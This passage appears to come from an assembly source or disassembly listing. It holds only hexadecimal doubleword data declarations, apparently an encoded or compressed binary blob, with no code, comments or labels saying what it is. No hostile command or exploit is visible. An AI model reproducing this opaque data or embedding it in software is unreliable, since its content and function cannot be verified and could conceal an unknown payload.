0E26AC4B7h, 7A85C700h, 5691243Ch, 39ED0005h dd 3A5B2CCEh, 82079EB2h, 0EE08DBD3h, 4E7852C0h, 770400B7h dd 69CD1BBFh, 0FF07BC0Eh, 1D7F21ABh, 85718100h, 0C92A0087h dd 88383FBEh, 0F40D0406h, 0C09E7D36h, 58002F0h, 34BB268Bh dd 0ADA8003Ch, 0F79C91A9h, 0DD9D3501h, 0D2685876h, 33C6D70h dd 856437F6h, 0AE927ADFh, 3CB9480h, 0C00A853h, 3DD55EA5h dd 1AC85Ch, 0BA307C47h, 0B09BAF10h, 0E7FC617Bh, 4D3762F8h dd 0CFC08438h, 0E3DDB2h, 0A0D7327Dh, 75A87645h, 80C4EE3Dh dd 1F9C50F0h, 713ED4Fh, 0CCAD5522h, 6C128062h, 0A000288Ah dd 0DC729220h, 7887B852h, 0A36F0276h, 4574892Fh, 5EDAE760h dd 86999000h, 59EDCD56h, 11F9004Dh, 0C4D22F18h, 3E00AC9Fh dd 50EC98CBh, 862B04h, 81DFD974h, 410A42E6h, 97240900h dd 0DA2E7FDEh, 580D0116h, 0D8885C70h, 644D3496h, 0F685F106h dd 2E487h, 1B7DA67Fh dd 0B65E47EBh, 15003D7Dh, 79A413E3h, 0D9BEB7h, 8F4AF984h dd 0BB350AF8h, 37285600h, 308D7624h, 36AA0074h, 5E0B83C1h dd 0B802B06Fh, 59201E06h, 87306015h, 0C9B60037h, 63408FB2h dd 4101F6D6h, 0D7956C17h, 0A2F46811h, 4D4700B6h, 613C3A0Ch dd 76001B44h, 0C83654C3h, 3C6F45E2h, 5D00B1D7h, 7B8A8740h dd 8E7C123Dh, 701F13EEh, 0ACEE974Fh, 687C003Eh, 894D24CFh dd 7AB98F7h, 0CB5313CEh, 4A5C9391h, 0E72803E7h, 0F140C788h dd 6C0BCF04h, 0A0AA1Dh, 0E4A81E22h, 50244373h, 79996A2Eh dd 1261835Ah, 166C6FD6h, 1E3FCF58h, 0E8DAC068h, 67A5BF61h dd 746E8803h, 0E5807883h, 69147890h, 61DF6Ch, 0FC34DC01h dd 0E403ABEBh, 26949348h, 217CA3h, 0D760E770h, 0EF32D16Fh dd 5B735500h, 3F28E214h, 5AD30084h, 1DB6D9ADh, 0CA03B5B0h dd 298D4264h, 2D5C9961h, 0A8C019E5h, 0DD430320h, 0B12C3D17h dd 0F3F4B7E0h, 0D23EFD00h, 0F645FF76h, 0A4F888h, 577EB4DCh dd 74365672h, 7AA32803h, 0A0FAC147h, 9B563EBh, 2E3E6D61h dd 0D61E30A0h, 7C941546h, 3EC51AF8h, 5700CC7Ah, 390B9946h dd 6700DCEEh, 9C1064A6h, 0EF4E1Ah, 7DDEDFF2h, 0D26C1974h dd 5FEDE500h, 835CA598h, 0B2EC00E6h, 0E8C32EEEh, 920E47A3h dd 877C8F32h, 41500B36h, 4DA8C9h, 0E862F768h, 0FE329EDh dd 0FEA2572Fh, 418E00E4h, 2A1B851Dh, 30D24426h, 7D7C3800h dd 849B95h, 3B093696h, 1C8114CBh, 51875F00h, 161E6119h dd 89C50929h, 7FA6D0h, 0BE25AF6Ah, 35650080h, 0BD2831FDh dd 50008D4h, 7479158Ch, 0F6F34BA5h, 1E689227h, 4138376Eh dd 0A893DD1Bh, 4F5660CEh, 4D42B701h, 56370C66h, 0A6307EEDh dd 21530023h, 0E4E18817h, 0C8E75B71h, 280EED99h, 20F813F7h dd 0A4D1B80Ch, 0AE2F00FFh, 0F9D7CD3Dh, 0A8E863BEh, 0F15C600Fh dd 0BD292036h, 4134D0h, 0F617AEB0h, 0F2F06833h, 6C55BF07h dd 0EEC3AD06h, 8FEFF82Ah, 3B5F00A5h, 0FA849D79h, 0E20044DDh dd 1E2CB95Bh, 7EAC0h, 999F2D55h, 18F094Ch, 65FD170Bh, 0EB1484F6h dd 0E1BF8C90h, 0D23D0059h, 0A0807444h, 8200CA85h, 0BC8638Ch dd 4F1EED4h, 2BDE2145h, 72188001h, 4C011E57h, 0A8DB1739h dd 530E4C2h, 0F5D605CFh, 0D031D9h, 0B30535E4h, 0A60063CEh dd 0F8651D58h, 0F5FB182h, 958A5014h, 7AFCDEC0h, 6E006D7Bh dd 806FC99Bh, 12E29E3Dh, 80C8654Dh, 0C3EB3A88h, 46C2200Fh dd 34D3A083h, 858C12h, 0B1D017B7h, 80B9B10h, 3365AD00h dd 21D52A4Eh, 8AF00054h, 11ABB787h, 6B00444Bh, 0DFE6F1B9h dd 0EE8D13h, 372B38FDh, 4F5A8E68h, 1CAC0503h, 0F301957Bh dd 285603A0h, 0DEF4A3FAh, 0E129BE90h, 1F93139h, 0F21C45FEh dd 46608713h, 5206007Eh, 91C772F7h, 0F30088E1h, 0CA97820Fh dd 1CD11805h, 0D79E2674h, 87FC20BFh, 5A4C89B2h, 202800CBh dd 94FC8246h, 5B9800F4h, 0B1E7F7E1h, 0A9A10422h, 78FBD060h dd 0C49DA100h, 0F067C335h, 3673070Eh, 0E9BC1F9Ah, 0C64FE802h dd 46002458h, 5F8E357Bh, 5BA536h, 68A8B8F4h, 452B1B55h dd 4C3E8100h, 0AAD4477h, 0AE66074Eh, 419975F8h, 0FB358E5Fh dd 0BEEFA800h, 3944B8ADh, 0B7C113B0h, 0A7180A92h, 0D8502EE4h dd 6D3F3B57h, 23E980EBh, 0EA84FA88h, 0F5642E68h, 8D30128h dd 0E0F32C1Eh, 50147173h, 1F8DE3C8h, 2A80CA33h, 0FDADBA9Fh dd 0C39C0FD6h, 0A4A00C5Dh, 19FC7364h, 38F40E7Dh, 0EC0FBF00h dd 0A1C7C94Eh, 0E45E0FEAh, 0CA609920h, 875D1922h, 90E0B900h dd 12F6D51Bh, 7F5A0F21h, 1EC08904h, 424C638Eh, 32512500h dd 48F9E2BBh, 72E4DAh, 74CA3727h, 6D581ADBh, 528ED600h dd 92E09859h, 36B0FCh, 2624F568h, 0E8A42E94h, 51D00E01h dd 83E0DFC4h, 60BFB230h, 3A17C8C2h, 0FC394282h, 0E8BCD8h dd 0F31D3735h, 0F13E2EDh, 0CA180E7Ah, 0E168809Eh, 3D8B14E8h dd 1EDD273Ah, 20008895h, 0B1FD9E37h, 1A8F00EAh, 0BD734446h dd 0B6001957h, 5BBABB94h, 0BAE343BFh, 88060024h, 0D45335Ah dd 0AC9EACFCh, 1EF7A100h, 0D7256Ch, 0A19F918h, 333E26E1h dd 3000FCB8h, 0F41CA4E9h, 451854h, 0EEA16A29h, 5924186h dd 0BBC2B600h, 7F6C4C09h, 9FA8007Ah, 26DAC7E5h, 7617E497h dd 7A004632h, 1750FE60h, 52273F84h, 25B28C03h, 75B0DB08h dd 713A37CCh, 0F9340E54h, 0D8D0C00Fh, 0F83A8D7Fh, 3B120ECBh dd 36014EF2h, 38DA8211h, 0E9BF0054h, 6BDEFC56h, 1C41003Ah dd 6FA6023Bh, 29018718h, 0CFAEA3Ch, 53DCC278h, 0FE9498DAh dd 0A28900D3h, 0EED212BEh, 0A474B424h, 16C0640Fh, 0E99760A9h dd 12046721h, 0EBEF26BAh, 0E8E52300h, 8DF141h, 978FB564h dd 54866C37h, 81247500h, 5F5ADE56h, 2C230BDCh, 7900523Ah dd 58ECCA2Ah, 0EF648201h, 0E008DD12h, 0FCFC5CF1h, 0E4C379B4h dd 531F00DAh, 0F6A48068h, 0B100E6B6h, 3552AE61h, 122077E8h dd 1C267989h, 9E670065h, 0C77BF08Ch, 5E324200h, 3F217A56h dd 8AA80119h, 64A56B62h, 8994408Ch, 0CA009C39h, 45610997h dd 729D43E8h, 0ABF903ACh, 0C2C723FBh, 0D967209Fh, 0E800B805h dd 813072E0h, 324B59h, 7A2549E3h, 0A7C16C39h, 0B8521F00h dd 10C063E7h, 8C9C0577h, 803E3005h, 0FBA1CE89h, 8044085Ch dd 923C0F37h, 0B8EE036Dh, 7EAB5DA0h, 0C8C78AC8h, 531B0100h dd 5C1C3B0Eh, 32941D23h, 332C80E6h, 248BB261h, 0AE5D6006h dd 584DC93h, 0AAEA2B0Ah, 6AF0C85Ch, 79767217h, 5955DC00h dd 4A9D256Fh, 0F644078Dh, 0AF81CE70h, 115D50A2h, 84621EAAh dd 0A61D3E00h, 40952865h, 67489D03h, 0F0FA8709h, 79A80662h dd 0B477009Ch, 0CB63688Eh, 500EE3D0h, 201C9B81h, 729A51E0h dd 3F757ABFh, 0F9A6CEEFh, 80D704C1h, 34BB8003h, 0CD5DAD77h dd 6F2B00BCh, 3867B148h, 3E2806F6h, 284263DBh, 0C447D403h dd 25CC07AAh, 0A01050A1h, 6D0E0F60h, 80F724D1h, 0B01A15EDh dd 54F4BA4Ah, 1DFF1410h, 32D170h, 285B7312h, 0B004D8Dh dd 3F1D7183h, 0A63578h, 0DD865E38h, 1D89258h, 0CBEF8200h dd 0C17854DBh, 97FE45h, 6034E6FFh, 2E829392h, 24FAAA00h dd 7345E9DFh, 337F0449h, 0C0584322h, 23185BC8h, 6B1B6107h dd 0E470E8C8h, 48AC5AEh, 0D37BD0B1h, 6A40C05Fh, 47006478h dd 0D2C84B33h, 1DA104h, 0DCFEDAC6h, 0A88CD683h, 0AAC20A05h dd 90006362h, 0D346A313h, 12A3CC6h, 0E0CCA605h, 0F19400B7h dd 6C222DC7h, 0A8C9B900h, 0E33D8991h, 5D9700E6h, 9051CEEDh dd 2200230Ch, 0CCAED5B4h, 48216877h, 9800E40Dh, 61792DEh dd 0D4A9A532h, 2C51710Eh, 0FA220078h, 0A6584A0Bh, 70F84914h dd 9862F407h, 8E40077h, 19030FB4h, 0F555BA17h, 9EACB8A8h dd 90BF00B6h, 2452B37Ah, 81751ABEh, 66FCD4A0h, 0F7485060h dd 5663EDh, 3BA40711h, 0F31C35AAh, 0BE489DCh, 0F86D500Dh dd 0D768309Eh, 575C929Bh, 745C0048h, 36103703h, 7116F73h dd 3963A921h, 0B7AEC0F1h, 0E00A6C1h, 0B0A41AD9h, 76886154h dd 214D00E2h, 40891C58h, 3F004306h, 0F9FB1725h, 7138C1h dd 557B4EC5h, 8E0DE0DEh, 1ABCDA0Fh, 0AA041476h, 480079B8h dd 0F7744735h, 7D89AA8Ch, 4E90FCh, 0B06D3C38h, 0BE3A3D2Ah dd 300006E2h, 0A4407078h, 7D803789h, 35202761h, 4296D640h dd 38CFED00h, 34CEC3F3h, 0AECA0046h, 0E8AFB448h, 0EA017258h dd 0D945E571h dd 0B0F0CBC7h, 1ABA007Dh, 3F064F9Eh, 8F02BF54h, 101CC127h dd 61809F43h, 80147D79h, 0A157AE10h, 264585h, 2B68BA5Ch dd 0F2FB2EEh, 9B79CF07h, 0E4711CA7h, 298457C9h, 2A34D98h dd 206934Ch, 1A229C37h, 0DC842155h, 8B110191h, 1DECA310h dd 88A23B80h, 5100E7C0h, 10DEEEB5h, 7279D0A5h, 221F405Fh dd 30907B20h, 0E551C42Ch, 28DD0977h, 6B7978D8h, 2829CB7Ah dd 1B50BF8Ch, 50A33F20h, 0F3093C87h, 845D9411h, 0A99CE529h dd 9040F308h, 183F4986h, 79D15026h, 0AA40596Ah, 29BB61EFh dd 88FF391Bh, 8C40FC50h, 0BBA15CF6h, 32412201h, 16C857E4h dd 0F1B801h, 1EE6D186h, 60366Ah, 963338AAh, 2C03CD4Dh dd 0D5E025F2h, 90EEA8E5h, 0F87400C0h, 8CB55EBFh, 21F0DDE4h dd 168E2600h, 0B13D71Eh, 31150373h, 0B17B6E0Ah, 417F40CFh dd 4C1E9A74h, 837A663Dh, 9C9441Fh, 88EAF09Dh, 0DDF80095h dd 0F91019B5h, 0E01DB486h, 40002EABh, 0C9EE43B8h, 0C850010Ah dd 0A4BDB730h, 0FC67F902h, 0DB00E142h, 0E484A74h, 0AFFA09h dd 0B0E3B331h, 2DEDB55Dh, 0A7CF700h, 3649FE2Eh, 0F5E40047h dd 83F06ED8h, 7E00BC02h, 1012092Ah, 0EA2159C1h, 46B3002Eh dd 74B00758h, 3100750Fh, 607C8F43h, 9A6B79A1h, 0D071E4h dd 61AA3734h, 0F9BED5F1h, 0A4FC5407h, 0BCB015CEh, 0F0F1BEFh dd 5C4CACBAh, 0D6DBBFE0h, 0FCE58CBDh, 8D005A15h, 12CB729Fh dd 0F250853h, 0DD2AA2A3h, 3C671CE0h, 18000392h, 0D264C3B9h dd 9B5EF0h, 9F066117h, 7396AC97h, 50151E0Eh, 38E6E042h dd 0C61466h, 0D4E87C88h, 82896491h, 27D86100h, 1EFAE6E1h dd 9FEE00CFh, 4F3454F3h, 6601EFEDh, 1F1B118Dh, 61D806FAh dd 0EC4603FEh, 0D46A2FDBh, 10F80AA8h, 732B0D00h, 7233043Fh dd 0B45306B7h, 28CF8471h, 0B8E019E4h, 3EA9FE00h, 3848CB5Dh dd 0A6F40025h, 6C2A32D0h, 3C02BA95h, 9AAD14E9h, 0AFF34007h dd 507272h, 1898AB84h, 7ED85709h, 170E753Ch, 0CB001569h dd 26C37DD4h, 0BA97003Dh, 0DFF9FE50h, 0EA02C734h, 0FCAE4619h dd 0AC9E8016h, 7221270h, 42260238h, 0F2FD139Dh, 0F45E28A0h dd 70A48000h, 69457339h, 4846008Ah, 0A00C58ADh, 1C00D995h dd 89B8E98Fh, 0B5F1A83h, 0FF12B744h, 2B0F7880h, 780788A3h dd 0F177DBB8h, 33020520h, 418C0039h, 8B3A99Bh, 95F0C2E5h dd 1D833209h, 0BE038020h, 0E3662FFh, 633BBFCBh, 54E7F360h dd 0E900DF92h, 5C4BE293h, 1D3649Ah, 0F4CC694Fh, 0F07EDD08h dd 81290266h, 4200C8F8h, 19BCD648h, 5E640030h, 9D106859h dd 3F3FC6ACh, 0D101F23Bh, 0BFD693F8h, 0BC409825h, 3B5B626Dh dd 53008CB6h, 360C0971h, 0A438018Dh, 0F35E809Fh, 0FAF9C5A8h dd 6EE30E58h, 49A04C1Dh, 39174A03h, 1E8A4000h, 1CFC6730h dd 38013F6Eh, 0FA6AE700h, 0C44BBBC2h, 2BE37400h, 0EBA173CDh dd 0F7C11E15h, 0D4770052h, 6DBCE519h, 13329200h, 9BE75D73h dd 0F6AD0756h, 0AF76B8CAh, 9899A6A2h, 8D2FB440h, 81B7B200h dd 5B86143Ch, 8319005Eh, 0E1575F26h, 75002B32h, 0BBBD449Fh dd 346B90h, 0FD921A6Eh, 0DC3340C8h, 66B86500h, 68C93219h dd 34ED004Eh, 3863D10Ch, 7003C688h, 0BD67ADAh, 0C3EBF18Dh dd 0E61BE140h, 0C63C00CCh, 0AC14F12Ch, 43007A0Dh, 0AE7378C1h dd 0EF6BEEh, 0AA51F205h, 37591EA6h, 11036500h, 25063EB0h dd 12ED24A5h, 1E4A004Ah, 0B8A5C73h, 0AA11EA00h, 7CEC3439h dd 0D2B0EF4h, 4380B79Eh, 0C10A8563h, 39F23101h, 0CD926FEBh dd 0D100EA44h, 7D8EEFE4h, 6277016Ah, 115497D3h, 43692025h dd 744D5300h, 0D59B1793h, 0B9C6008Ah, 23CE721Ch, 3248B33Fh dd 881A0F43h, 69D6C094h, 0EE96EE5h, 57AB728h, 598A5AC0h dd 5B00CE7Fh, 9BD8DEB3h, 9E789Fh, 9ADD3176h, 0F1E3B5F3h dd 0D1094109h, 5DA30185h, 6220D622h, 0D0C3009Bh, 97FAED5Bh dd 593B7281h, 88828013h, 9CAFB770h, 0BA290064h, 1721A633h dd 48003236h, 5BFD49E2h, 0F20312F2h, 0C400051h, 836E2594h dd 7D0088D2h, 0E8E63F5Dh, 1656F6F0h, 0EFC29811h, 0A9ADD806h dd 0A6731C30h, 0E8C600E5h, 7FD65EC1h, 876AF101h, 5293C40Ah dd 3A98160h, 55439BE1h, 0A7C1D6FDh, 1C54D80Eh, 46ECF8A4h dd 9E8E2A00h, 6B255168h, 994D0057h, 43A1A2E3h, 7C007D9Ah dd 22D50EEAh, 2F9705Eh, 635D281Bh, 0E660AEB7h, 400E7B6h dd 0A0954493h, 798E0309h, 346A2687h, 1E610084h, 231D591Bh dd 0EB01A27Ch, 385BC445h, 0A8E7372Fh, 4C7B620Ah, 7D82C491h dd 44C0684Fh, 0C900D36Bh, 22B77A5Bh, 0FF41BBDh, 5F07519h dd 0C0E81F1Ch, 0ADA3F3DCh, 0B2003011h, 0BBEBC0A4h, 2B7F931h dd 0F455574Eh, 0AC809E0Ch, 856B8D83h, 87CCA703h, 0A0390607h dd 3E90A6h, 0B18C89B5h, 306FAC40h, 76F0AA00h, 21B35E97h dd 0C84C03B0h, 815CB99h, 6D6F50C0h, 0F913F207h, 0C3900E18h dd 1793A47h, 5F53805Dh, 60058F6Ah, 0CE003612h, 463F4B1Dh dd 15A9C34h, 0E2C52D1h, 0D84569A5h, 0F07C5CDEh, 0B01C8700h dd 0C0F79619h, 0FB2E074Bh, 0D0640730h, 88F170DBh, 0FF50920Bh dd 0B87C0056h, 0E4E9B2h, 0E01838FCh, 2A6B46BAh, 3AB1A117h dd 0E6E3E0Fh, 36A4C0A6h, 1ECDBB6h, 98B5C2EEh, 0D816A772h dd 0B3011D9Ah, 0BC0C1280h, 0E0F069C4h, 0CFE81DF6h, 4D1CC02Ah dd 555D78ECh, 9F8F8C00h, 32B4D375h, 0EDCFF33h, 7BF20079h dd 0F1D86A86h, 0BB030237h, 9E3A5E67h, 2269C099h, 45AA008Ah dd 83015DE1h, 8000C2ECh, 0E599FDF2h, 0A287AFh, 400F82BBh dd 39C8F4DFh, 4AC1D60Eh, 0E91282E2h, 0C405DDBh, 577DA3DCh dd 0A1974500h, 4E4965B9h, 0A21A0069h, 0C546A0C0h, 0B3006CACh dd 9423832Dh, 0BEBEC26h, 0F69DC2D7h, 0A04B000h, 304C8B33h dd 5BA10076h, 60A4451Eh, 0FAA00D2h, 9F47063Dh, 0CE01DA90h dd 596AFD30h, 6B30C644h, 4C775Dh, 0F6873E81h, 7A01BB97h dd 274393Fh, 0E2EA3AD6h, 29786852h, 0FC377A7h, 716847EEh dd 841CA261h, 548030B6h, 7481C500h, 4CC3E53Bh, 4286000Fh dd 0BCDE55C8h, 7D275607h, 0BEF380ACh, 0F79115h, 7F535B7Bh dd 0C72D8C0Eh, 22DBF401h, 92C9EC6Ah, 172C70h, 76D8E093h dd 0FC8309F5h, 5436F0Fh, 0A01B0041h, 13C2BA34h, 3656DCh dd 0BD857F5Eh, 75E83C2Ch, 0DDA84200h, 19B10E86h, 0D9BB0171h dd 7E66B3BCh, 0E4C7D91Ah, 9775967Fh, 1CDD0A32h, 0F457C0DEh dd 0E3C80024h, 9CEE0963h, 0A70E44A1h, 8059B814h, 1388AFB1h dd 3FC3B0A2h, 0DC806AD5h, 540A2F5Fh, 0D2072E45h, 2B9D33BBh dd 34A288A0h, 0D174021Eh, 5ABFA0Fh, 0CCD52BE0h, 58D8DF00h dd 0CFD3F5AEh, 447F0033h, 0E397F907h, 66073BB0h, 2C9D8756h dd 5339E090h, 0E89800DFh, 0D95284CAh, 0BB00A37Dh, 0C711ED72h dd 149631A9h, 0E4E708EFh, 6116287Ah, 3CA10AC0h, 7E4F138h dd 20B7D524h, 6B0B2348h, 0BE8E9902h, 608BEB9Fh, 0B0EA082Ch dd 0C5CE0172h, 3D4888FAh, 0BAEEF060h, 0FCAAB000h, 0C6743BBCh dd 0C91F00CFh, 346C0FE4h, 69717B68h, 23125809h, 0E8ED64Bh dd 0F807285h, 956E08A0h, 0FC35CE1Dh, 25BDDE40h, 50DB453Fh dd 1C1DAAFEh, 0C1CA1A6Dh, 34F88E12h, 0FBBDD4D1h, 7E97E450h dd 3FAA8D01h, 7015C61h, 0D067E02Fh, 0B1C25200h, 9C7B912Bh dd 0F50300D4h, 60EE84B9h, 290061F3h, 81AB9A15h, 0C5FC71h dd 0ECE58065h, 9FFDEA88h dd 0BC4B3F0Fh, 0BBAC80F2h, 782A7648h, 0CC8500D3h, 0AEC6406Fh dd 7400F4CEh, 3F790DFFh, 0FC7082F0h, 0DDEE0149h, 98EF9739h dd 0E9BE417Dh, 0D4B68063h, 9C1ABF90h, 2E37715Dh, 26FDBEAAh dd 404F1D4Ch, 12443D8Eh, 4700B6E3h, 0A7F748BDh, 1C5D559Ch dd 0BFC5374Bh, 826B9801h, 0D0237D6Eh, 0D9781803h, 0C100E1B0h dd 8F55EA76h, 0F02DA3h, 3281EDB3h, 0FECD8BEh, 0AC3FE4FCh dd 3B9800D4h, 4E8C6511h, 29B6006Eh, 435C2CA2h, 0BA0F9504h dd 69B950E4h, 0A03800ADh, 627330A5h, 99721108h, 2EDC7880h dd 0CE005510h, 0BCD2D4DBh, 3C6581D3h, 722EF894h, 0FD968074h dd 3E076374h, 5F7CB27Fh, 0F02CB70Fh, 9C328072h, 3CBC42ADh dd 550B3484h, 4780ED86h, 3779018Ah, 1B3D1300h, 335E9C98h dd 88460F92h, 8E0F26Bh, 5D2FA358h, 0F600DAFCh, 878AAAB7h dd 89E2B9h, 0E64C88FDh, 271FE10Fh, 23E3BC00h, 0CA048F80h dd 0A741001Ah, 9779A336h, 0FF002D98h, 4E26449Ah, 0D66B39h dd 6ECAD115h, 6AA0AED0h, 80F30201h, 0F24B3B1Ah, 0F77560F2h dd 0D1D93C54h, 3EFACE87h, 9B560F0h, 8F001044h, 0D9E5150Bh dd 0E292CC6h, 72EADFA0h, 1AE83060h, 0AF004C0Fh, 94391947h dd 632C88h, 4289CD5Ah, 984A90EDh, 74D6501Ch, 38E0D740h dd 0A17CB8h, 0F947A526h, 0AA5F1D6Ch, 7B24DB4Ch, 0E40ADE1Ch dd 707AD940h, 1D3EA35h, 0D06498CAh, 8110B3C5h, 0BA0E3269h dd 63E489E3h, 9AEC8Ah, 55CE9669h, 99ABE291h, 0EB578203h dd 0F82E2395h, 1D5FC36Fh, 7FC12BCh, 0A57EEF39h, 4CD8007Ch dd 0DBF516D9h, 2F1670E3h, 32ADF800h, 0D5E7148Ah, 12343F9Bh dd 75CA2E83h, 6A1BF2Bh, 9C25F8F8h, 3F5CEF0Bh, 0F3F7801Ah dd 95FA1Ch, 0CFBDC02Eh, 0CD59C5AEh, 987DFC00h, 0BA6A3377h dd 0FDA9008Bh, 0ECCE76BDh, 7C2CBEC4h, 830EFD9Eh, 0DC78E0D1h dd 1564C6Fh, 0CA5C722Dh, 0F49A6B5Ah, 83007581h, 1C161D87h dd 0E0AF2Eh, 1EE673F5h, 185308BAh, 901B000h, 285E9F13h dd 278200E9h, 70DF77F4h, 7900C0E6h, 930ED90Bh, 135A312h dd 4348EE26h, 0F883F938h, 0E60EFE19h, 72C1FDD2h, 7C591C01h dd 0A0E24E8Eh, 79FFC5FCh, 67E4Ch, 0B24F3766h, 24F0649Eh dd 863841E0h, 87BA00BEh, 0E065E4A5h, 8503037Ah, 0C43DF2ACh dd 5ED04AC3h, 987A58CFh, 2F8DE60Fh, 7AAE804Fh, 4B69D7h dd 120C05BBh, 2AE4FDABh, 0C3437D00h, 0A01D2E1Fh, 0F130007Fh dd 86C5DFCAh, 0C2007AECh, 0AF9BDB0h, 4C753C1Fh, 0EA0056B1h dd 17492736h, 6400E4F8h, 0B49183ADh, 2C13D9h, 1F9A633Eh dd 8190B70Dh, 0D196F900h, 0F89E4B1h, 0FB9F0095h, 5DC7B304h dd 43015A72h, 37C9D5CAh, 0FFCC8849h, 1A67E70h, 9DAAA1CDh dd 0C4C5976Bh, 0C12CDC1Dh, 0CC01C4DAh, 6E58BEAEh, 0A4B4DCh dd 38EEA239h, 1A05F924h, 25B6EC03h, 0E8FF17EBh, 0ABBB43h dd 0FDD3089Bh, 0EE0EDFD7h, 0F3BECB07h, 7A901B24h, 50DABFh dd 0AA8CDB28h, 511CA0EFh, 8E823D07h, 0BB403ACEh, 66CD43h dd 74E727FFh, 0F29F7A47h, 0EB71C000h, 915E39A2h, 0A81300D0h dd 0DF8ACD21h, 85C1BE2h, 0DE880771h, 835F1161h, 0F8959677h dd 10C4A6h, 0D92E24A1h, 0CDD58391h, 2B1AFA07h, 0E0B531DEh dd 9903A11Fh, 8B407F9Bh, 0E0AAC287h, 5AC067h, 0B6561E35h dd 89E175C2h, 48E4AF77h, 1D03F272h, 4B3455B7h, 60C7FA54h dd 0DE4038h, 0EEB92024h, 92195FF5h, 183BAA17h, 29229700h dd 0C4F063h, 0C8A2E5BFh, 5F6444CBh, 3F3D5000h, 683AC64Fh dd 0DC9A076Ah, 70BD875Eh, 0E6812189h, 0A4FEC100h, 0B84F6EFh dd 1DCEE86h, 4D99B76Bh, 0C26DB27Fh, 75B6D840h, 2C713779h dd 25680F06h, 20D556h, 9C457BE7h, 0F29E6EFAh, 17C44E00h dd 100B2AD4h, 0F0F54C22h, 203AE964h, 13167925h, 0C54DA5h dd 2CC8EB63h, 0B1188240h, 0A8F8E0E2h, 0DD7189h, 3A1FADA5h dd 0CCA03253h, 9656FC13h, 4C17A700h, 4F49B7h, 1C58F35Ah dd 0FA3BECE2h, 194D1001h, 1F893356h, 60E021D5h, 6EB40062h dd 0D8506185h, 0F6001DE7h, 0E8A314B3h, 7B1C7A18h, 677FAAh dd 0B096364Eh, 0E6ED7064h, 0E260CD00h, 0D74A9B8Dh, 494C0EC4h dd 0F3E2598Ch, 91E0BADAh, 0E126EA19h, 4C0714B4h, 3A40C0EBh dd 586DAAh, 356CE325h, 20E7FA2Eh, 9696B660h, 0EBCAB55h dd 90D0AE4Ch, 263400BCh, 5AD9CB48h, 6E602900h, 79111D6Dh dd 0E1303BDCh, 2D08F2Bh, 89B9A9D7h, 0ABE05CC3h, 2400CF17h dd 37F4C0DDh, 95E611E1h, 0EE07D478h, 2EC27C44h, 0F6D78F40h dd 0A27500D8h, 2C45D614h, 0AC3CF368h, 8C1004Ch, 0A0CF0A5Eh dd 70F98F7h, 0D2883B22h, 143F1250h, 38B2BA40h, 9E0E9874h dd 0C0ECE86Bh, 9F245CFAh, 437B0074h, 2BFCC83Eh, 217151CDh dd 837E3403h, 883D98FFh, 0D6E8A6h, 2508B492h, 0AF09C0E9h dd 638BAA00h, 6FF49CC8h, 9252008Fh, 0BA5A13ADh, 0B807C7A3h dd 55540DFCh, 0EF6B720h, 0E9CC3F62h, 38C2FB80h, 9FD371CDh dd 231CE100h, 0E8EB2CCEh, 3EA37665h, 0E600F72Fh, 8832EA26h dd 3B72C52Ah, 9172511Fh, 5528E700h, 3AF220B6h, 4F301193h dd 4BFEBF29h, 0D3FA8F00h, 3A30FCF6h, 79E200C4h, 0A0EACE6h dd 0D0041CE5h, 892E3D32h, 787ACFC0h, 31B401CDh, 9CC77E0Fh dd 21DCF4D6h, 200095FEh, 7B94BBC5h, 74A88EE9h, 7A880106h dd 80DED7EDh, 21FFD0E8h, 0A2DF900h, 0E7C1DDD1h, 742500B7h dd 0F48F6462h, 0E900C93Bh, 0D0D56A67h, 9030231Ah, 0FAB81F3Ch dd 5C8300ADh, 33E26FE9h, 0CF66C900h, 0BD790BF4h, 3CFEE469h dd 0BB00C737h, 68F12D45h, 0C1F603CBh, 3B4F0407h, 4670B312h dd 0C21909h, 0B4D4DB5Eh, 39B6AAC5h, 0BCA33Ch, 5C9AEAE9h dd 3932FF99h, 6000FA7Ah, 2F52F7Ch, 0CC00EE4Bh, 5CCA41E0h dd 0F0D8BA01h, 95DA006Dh, 960FA022h, 270054C1h, 0DBA52F84h dd 48FD04h, 0CE2833F3h, 0D2BCE35Dh, 0B8A38200h, 34EE9D0Ch dd 5A8C006Bh, 0F430B0D3h, 0A900A884h, 15022AE0h, 1EF1E76h dd 0B71FD1FDh, 803B0A57h, 4532C110h, 1CC1036h, 93E9228Dh dd 804F68A8h, 0DAB35648h, 0E29023h, 1EA4BB2h, 959CAFBCh dd 3D1D6900h, 6B7C51F8h, 0F9A0088h, 2F828BB1h, 4701B376h dd 77185F59h, 65D47124h, 0D8E400E7h, 66072CB0h, 6401D70Bh dd 61781AC3h, 30F8670Eh, 0FFA717FEh, 53C800ECh, 47D9A46Eh dd 190CC300h, 0BD60DC4Ch, 0E70A5CE0h, 1B51DD01h, 60873A2Dh dd 0E41CEAB1h, 0F141DE07h, 66836B5h, 2A78A8h, 8097D0E5h dd 2C0B6198h, 0B4598800h, 71F65335h, 253600F3h, 0C64E709Bh dd 0A00F5D33h, 0A005C810h, 0A6898028h, 12F20088h, 22775AFh dd 43001ECFh, 84CBBABh, 63C432h, 0D8483EE9h, 80AC785Eh dd 0CCDBA0A1h, 857ADEBAh, 0B3ABB8A0h, 330D823Eh, 0D08E102Eh dd 751DCAh, 0B312FB5h, 0CF809609h, 7B489C03h, 0D847C004h dd 3C8133F6h, 0A300A2D8h, 2B5EE751h, 6DE07AF7h, 0C271EC0Fh dd 0C8BEFE2Dh, 55490EC1h, 0EB3CE070h, 0C904A1h, 0CB8F5EF1h dd 0E563813Dh, 0DA725500h, 0A92AA7DBh, 17020066h, 1B5AAD2Fh dd 760095C1h, 0B5D2E25Fh, 1E0A26DFh, 0C039A707h, 7B81AD1Fh dd 2E00E0B4h, 701471FBh, 1C20DEEEh, 0A87C182Bh, 0EBBB00C9h dd 6BE6C00Fh, 0BD006E46h, 0C7032E79h, 3C416923h, 5000B0BEh dd 252AD67h, 0E90F1E12h, 209879E4h, 0E85D62B4h, 235A007Eh dd 8003F889h, 9E004163h dd 1572C22Dh, 0E24F9201h, 8F72ADh, 0CC8D85DDh, 27D855CAh dd 3FBA210Bh, 4B20AB2h, 0FD584887h, 0FECB8190h, 9AF900FBh dd 7BAE2DC3h, 0E7013C66h, 8D1A6162h, 34207789h, 0AD9500FDh dd 5B6C8746h, 201F8171h, 0E4C0C0C7h, 576894DAh, 0B8EE009Eh dd 4B317D72h, 0EF267465h, 0A500677Ch, 19D4680Bh, 0ED723F05h dd 9BDD4380h, 7E3CAFDBh, 0E639DF1Dh, 4E2C813Ch, 8060A29Ah dd 2ECA9670h, 6E49E98h, 0E0B9295Dh, 9C00E1E8h, 